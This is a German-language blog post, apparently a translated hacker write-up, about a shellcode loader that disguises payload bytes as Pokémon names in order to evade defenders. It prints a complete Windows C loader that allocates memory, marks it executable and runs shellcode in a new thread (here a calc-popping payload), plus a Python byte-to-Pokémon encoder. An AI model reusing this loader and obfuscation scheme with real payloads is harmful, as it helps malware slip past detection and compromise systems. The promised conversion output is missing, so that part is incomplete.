techryptic/pokemon-shellcode-loaderGenug davon, den ganzen Tag auf Hex zu schauen und '\x41's auszugeben? Siehst du lieber Lugia/Charmander? Ich habe die Lösung für dich.
Es leid, den ganzen Tag auf Hex zu schauen und '\x41's zu poppen? Lieber Lugia/Charmander? Ich habe die Lösung für dich. Ein Tweet von @Checkymander kam herein, über die Erstellung eines Shellcode-Loaders aus Pokémon-Namen. Tolles Projekt, um das Blue Team zu ärgern, aber es gab keinen POC! (oder zumindest als ich das letzte Mal nachgesehen habe)
Hinweis #1 Aktualisierten Code gibt es auf meinem GitHub: https://github.com/Techryptic/Pokemon-Shellcode-Loader
Hinweis #2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
Hinweis #3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
Es gibt mehrere Möglichkeiten, das zu tun: Wenn wir uns einen Shellcode ansehen, ist es eine Reihe von Hex-Werten von 0x00-0xFF, oder in Dezimalform von 0-256. Es gibt zufällig weit mehr als 256 Pokémon, aus denen wir wählen können.
Wenn wir uns die Pokémon-Tabelle oben ansehen, können wir BULBASAUR, der #001 ist, als 0x01 übersetzen (die erste Null weglassen). Ebenso wird CHARMANDER durch 0x04 repräsentiert und so weiter. Das glückliche Nullbyte 0x00 kann auf Pokémon #257, BLAZIKEN, ausgerichtet werden!
Shellcode in Pokémon-Shellcode umzuwandeln ist einfach. Wie wäre es, Pokémon-Shellcode zurück in Assembly zu konvertieren?! Wollen wir ein Array innerhalb der .ASM haben? C-Code? Extern herunterladen?
Es gibt viele Richtungen, die wir einschlagen können!
Wir brauchen Daten. Zuerst habe ich zwei Bereiche gefunden, die sowohl die Nummer des Pokémon als auch seinen Namen enthalten:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
Und eine weitere, die nur den Namen des Pokémon enthält. Das könnte nützlicher sein, weil wir die Array-Indexposition für ein bestimmtes Pokémon erhalten, ohne einen langen String mitzuschleppen.
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
Ich nehme einen normalen POP CALC Shellcode und werfe ein paar C's darauf.
#include <windows.h>
void main() {
void* exec;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// Shellcode
unsigned char payload[] =
"\x50\x53\x51\x52\x56\x57\x55\x89"
"\xe5\x83\xec\x18\x31\xf6\x56\x6a"
"\x63\x66\x68\x78\x65\x68\x57\x69"
"\x6e\x45\x89\x65\xfc\x31\xf6\x64"
"\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b"
"\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10"
"\x89\x5d\xf8\x31\xc0\x8b\x43\x3c"
"\x01\xd8\x8b\x40\x78\x01\xd8\x8b"
"\x48\x24\x01\xd9\x89\x4d\xf4\x8b"
"\x78\x20\x01\xdf\x89\x7d\xf0\x8b"
"\x50\x1c\x01\xda\x89\x55\xec\x8b"
"\x58\x14\x31\xc0\x8b\x55\xf8\x8b"
"\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc"
"\x8b\x3c\x87\x01\xd7\x66\x83\xc1"
"\x08\xf3\xa6\x74\x0a\x40\x39\xd8"
"\x72\xe5\x83\xc4\x26\xeb\x41\x8b"
"\x4d\xf4\x89\xd3\x8b\x55\xec\x66"
"\x8b\x04\x41\x8b\x04\x82\x01\xd8"
"\x31\xd2\x52\x68\x2e\x65\x78\x65"
"\x68\x63\x61\x6c\x63\x68\x6d\x33"
"\x32\x5c\x68\x79\x73\x74\x65\x68"
"\x77\x73\x5c\x53\x68\x69\x6e\x64"
"\x6f\x68\x43\x3a\x5c\x57\x89\xe6"
"\x6a\x0a\x56\xff\xd0\x83\xc4\x46"
"\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
unsigned int payload_len = 205;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec, payload, payload_len);
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, -1);
}
Nicht schlecht. Es macht nichts Schädliches, aber trotzdem ... nicht schlecht.
Ein einfaches Skript konvertiert ein Shellcode-Byte-Objekt in den Pokémon-Shellcode.
import json
shellcode = (b"\x41\x42\x20\x43")
#Do not edit below
PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
Poke_Shellcode = []
for x in shellcode:
Poke_Shellcode.append(PokemonList[x])
print(json.dumps(Poke_Shellcode))
Nehmen wir den obigen Shellcode:
\x00\x31\xc0\x50\x68\x2f\x2F
Konvertiert zu:
Fun Fact: Ich wollte den Pokémon-Namen an ihrer Nummer ausrichten (BULBASAUR = #1 oder 0x01), daher musste ich das 0x00/Nullbyte mit etwas füllen. Was passt besser als MISSINGNO?!
Ein weiteres Problem ist, dass das Pokémon Farfetch'd ein Apostroph hat, wie unten gezeigt. Die einfache Lösung ist, es einfach zu entfernen und es Farfetchd zu nennen.
Schließlich gibt es auch zwei Pokémon, die denselben Namen teilen, sobald man die Symbole entfernt. Die Lösung für diese beiden war, ein F (für weiblich) anzuhängen und bei dem anderen ein M (für männlich).